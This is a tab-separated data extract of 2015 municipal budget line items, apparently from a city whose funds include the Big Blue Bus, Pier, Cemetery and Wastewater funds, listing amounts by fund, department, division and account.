15136	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	52544.0	0	0	0	0	0	0.0	0	0	0	0	0.0	52544.0
15137	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511713.0	MEDICARE-MISC EMPLOYEES	808.0	Salaries and Wages	2015	7430.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7430.0
15138	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	16532.0	0	0	0	0	0	0.0	0	0	0	0	0.0	16532.0
15139	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401004.0	SWIM CENTER-PERMIT GROUPS	612.0	Charges for Service	2015	-126300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-126300.0
15140	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		EAP	808.0	Salaries and Wages	2015	32382.0	0	0	0	0	0	0.0	0	0	0	0	0.0	32382.0
15141	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		UNEMPLOYMENT	808.0	Salaries and Wages	2015	3325.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3325.0
15142	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511749.0	VISION	840.0	Salaries and Wages	2015	1029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1029.0
15143	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	401662.0	ASSFC PASS-THRU	662.0	Other	2015	-200000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-200000.0
15144	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT GOV&COMUNITY RELATIONS	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	26480.0	0	0	0	0	0	0.0	0	0	0	0	0.0	26480.0
15145	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2015	2478.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2478.0
15146	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	82129.0	0	0	0	0	0	0.0	0	0	0	0	0.0	82129.0
15147	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2015	4911227.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4911227.0
15148	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2015	129776.0	0	0	0	0	0	0.0	0	0	0	0	0.0	129776.0
15149	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	4910.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4910.0
15150	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	550.0	0	0	0	0	0	0.0	0	0	0	0	0.0	550.0
15151	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	105.0	0	0	0	0	0	0.0	0	0	0	0	0.0	105.0
15152	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	910.0	 Supplies and Expenses	2015	160000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	160000.0
15153	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2015	436.0	0	0	0	0	0	0.0	0	0	0	0	0.0	436.0
15154	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15155	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2015	8282.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8282.0
15156	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561700.0	TEMP RELOCATION FOOD PROVIDERS		 Supplies and Expenses	2015	12306.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12306.0
15157	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	523029.0	0	0	0	0	0	0.0	0	0	0	0	0.0	523029.0
15158	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	7249.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7249.0
15159	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
15160	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	340139.0	0	0	0	0	0	0.0	0	0	0	0	0.0	340139.0
15161	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		UNEMPLOYMENT	804.0	Salaries and Wages	2015	6528.0	0	0	0	0	0	0.0	0	0	0	0	0.0	6528.0
15162	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	29880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	29880.0
15163	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2015	33560.0	0	0	0	0	0	0.0	0	0	0	0	0.0	33560.0
15164	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511749.0	VISION	840.0	Salaries and Wages	2015	4032.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4032.0
15165	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2015	883.0	0	0	0	0	0	0.0	0	0	0	0	0.0	883.0
15166	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2015	2693.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2693.0
15167	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	555016.0	CONTRA SVCS-CIVIC PARKING	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15168	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	21268.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21268.0
15169	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2015	98565.0	0	0	0	0	0	0.0	0	0	0	0	0.0	98565.0
15170	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2015	87580.0	0	0	0	0	0	0.0	0	0	0	0	0.0	87580.0
15171	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511711.0	MEDICARE-POLICE	806.0	Salaries and Wages	2015	93562.0	0	0	0	0	0	0.0	0	0	0	0	0.0	93562.0
15172	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2015	203408.0	0	0	0	0	0	0.0	0	0	0	0	0.0	203408.0
15173	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561406.0	DIRECT SERVICES		 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15174	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403830.0	SUPPORTIVE HOUSING PROGRAM GR	610.0	Intergovernmental	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15175	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	1099.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1099.0
15176	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE	810.0	Salaries and Wages	2015	1041.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1041.0
15177	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2015	2196.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2196.0
15178	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	1220.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1220.0
15179	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	908.0	 Supplies and Expenses	2015	-160000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-160000.0
15180	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2015	-172030.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-172030.0
15181	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	407720.0	ENCLOSURE PLAN CHECK FEES	650.0	Charges for Service	2015	-62300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-62300.0
15182	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	804.0	 Supplies and Expenses	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15183	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	21100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	21100.0
15184	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	3408.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3408.0
15185	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	7081.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7081.0
15186	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511490.0	OVERTIME	804.0	Salaries and Wages	2015	1673.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1673.0
15187	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2015	4172.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4172.0
15188	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2015	4813.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4813.0
15189	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	544040.0	BOOKS / PAMPHLETS	804.0	 Supplies and Expenses	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
15190	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2015	2176.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2176.0
15191	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578310.0	POLICE BEACH PATROL	810.0	 Supplies and Expenses	2015	428995.0	0	0	0	0	0	0.0	0	0	0	0	0.0	428995.0
15192	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	401610.0	LIBRARY CAFE RENT	618.0	Rentals	2015	-36300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-36300.0
15193	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	566260.0	SPECIAL EVENTS		 Supplies and Expenses	2015	12000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	12000.0
15194	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	401100.0	VIDEO ARCHIVE/WEB HOSTING SVC	612.0	Charges for Service	2015	-7200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-7200.0
15195	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	7080.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7080.0
15196	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		EAP	804.0	Salaries and Wages	2015	419.0	0	0	0	0	0	0.0	0	0	0	0	0.0	419.0
15197	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	5000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5000.0
15198	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2015	179595.0	0	0	0	0	0	0.0	0	0	0	0	0.0	179595.0
15199	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	7300.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7300.0
15200	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561402.0	CLINICAL SUPERVISION		 Supplies and Expenses	2015	7385.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7385.0
15201	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		UNEMPLOYMENT	810.0	Salaries and Wages	2015	1519.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1519.0
15202	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	112449.0	0	0	0	0	0	0.0	0	0	0	0	0.0	112449.0
15203	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	1631.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1631.0
15204	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	1770.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1770.0
15205	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	577580.0	BEACH / PIER REIMBURSEMENT	810.0	 Supplies and Expenses	2015	172030.0	0	0	0	0	0	0.0	0	0	0	0	0.0	172030.0
15206	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522540.0	ADVERTISING	808.0	 Supplies and Expenses	2015	45000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	45000.0
15207	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	1995.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1995.0
15208	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	3580.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3580.0
15209	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	19970.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19970.0
15210	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	19441.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19441.0
15211	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	9462.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9462.0
15212	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	522850.0	SPECIAL PROJECTS	806.0	 Supplies and Expenses	2015	264680.0	0	0	0	0	0	0.0	0	0	0	0	0.0	264680.0
15213	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400850.0	SWIM CENTER-SMC	612.0	Charges for Service	2015	-255700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-255700.0
15214	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401002.0	SWIM CENTER-REC/LAP SWIM	612.0	Charges for Service	2015	-188700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-188700.0
15215	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	403720.0	HUD SERIAL INEBRIATE GRANT	610.0	Intergovernmental	2015	-21672.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-21672.0
15216	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2015	488021.0	0	0	0	0	0	0.0	0	0	0	0	0.0	488021.0
15217	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511749.0	VISION	810.0	Salaries and Wages	2015	721.0	0	0	0	0	0	0.0	0	0	0	0	0.0	721.0
15218	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2015	4196.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4196.0
15219	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2015	210.0	0	0	0	0	0	0.0	0	0	0	0	0.0	210.0
15220	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	144.0	0	0	0	0	0	0.0	0	0	0	0	0.0	144.0
15221	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	921.0	0	0	0	0	0	0.0	0	0	0	0	0.0	921.0
15222	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2015	2359.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2359.0
15223	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	4664.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4664.0
15224	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	5310.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5310.0
15225	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	9548.0	0	0	0	0	0	0.0	0	0	0	0	0.0	9548.0
15226	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2015	1488937.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1488937.0
15227	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	511749.0	VISION	804.0	Salaries and Wages	2015	1750.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1750.0
15228	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2015	5169.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5169.0
15229	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
15230	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	555210.0	TRAINING	804.0	 Supplies and Expenses	2015	2500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	2500.0
15231	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES		DISABILITY INSURANCE	804.0	Salaries and Wages	2015	5521.0	0	0	0	0	0	0.0	0	0	0	0	0.0	5521.0
15232	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	522320.0	METERED POSTAGE	804.0	 Supplies and Expenses	2015	100.0	0	0	0	0	0	0.0	0	0	0	0	0.0	100.0
15233	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2015	10200.0	0	0	0	0	0	0.0	0	0	0	0	0.0	10200.0
15234	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	544040.0	BOOKS / PAMPHLETS	808.0	 Supplies and Expenses	2015	500.0	0	0	0	0	0	0.0	0	0	0	0	0.0	500.0
15235	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511490.0	OVERTIME	804.0	Salaries and Wages	2015	1665.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1665.0
15236	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		UNEMPLOYMENT	804.0	Salaries and Wages	2015	4897.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4897.0
15237	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	14351.0	0	0	0	0	0	0.0	0	0	0	0	0.0	14351.0
15238	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2015	34399.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34399.0
15239	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	1018.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1018.0
15240	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTEWATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	23786.0	0	0	0	0	0	0.0	0	0	0	0	0.0	23786.0
15241	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	55000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	55000.0
15242	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2015	37765.0	0	0	0	0	0	0.0	0	0	0	0	0.0	37765.0
15243	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401001.0	SWIM CENTER-GROUP LESSONS	612.0	Charges for Service	2015	-173000.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-173000.0
15244	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2015	356.0	0	0	0	0	0	0.0	0	0	0	0	0.0	356.0
15245	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2015	1782.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1782.0
15246	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2015	7638.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7638.0
15247	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2015	3306.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3306.0
15248	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2015	34736.0	0	0	0	0	0	0.0	0	0	0	0	0.0	34736.0
15249	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2015	3540.0	0	0	0	0	0	0.0	0	0	0	0	0.0	3540.0
15250	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2015	1669.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1669.0
15251	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION		YEAR-END CASH OUTS	806.0	Salaries and Wages	2015	0.0	0	0	0	0	0	0.0	0	0	0	0	0.0	0.0
15252	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407610.0	I-NET REVENUE	612.0	Charges for Service	2015	-35700.0	0	0	0	0	0	0.0	0	0	0	0	0.0	-35700.0
15253	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	7584.0	0	0	0	0	0	0.0	0	0	0	0	0.0	7584.0
15254	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511748.0	DENTAL	804.0	Salaries and Wages	2015	4880.0	0	0	0	0	0	0.0	0	0	0	0	0.0	4880.0
15255	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	244	SYSTEMS & NETWORKS	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2015	19400.0	0	0	0	0	0	0.0	0	0	0	0	0.0	19400.0
15256	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EAP	804.0	Salaries and Wages	2015	1248.0	0	0	0	0	0	0.0	0	0	0	0	0.0	1248.0
15257	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2015	8020.0	0	0	0	0	0	0.0	0	0	0	0	0.0	8020.0
15258	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2015	11427.0	0	0	0	0	0	0.0	0	0	0	0	0.0	11427.0
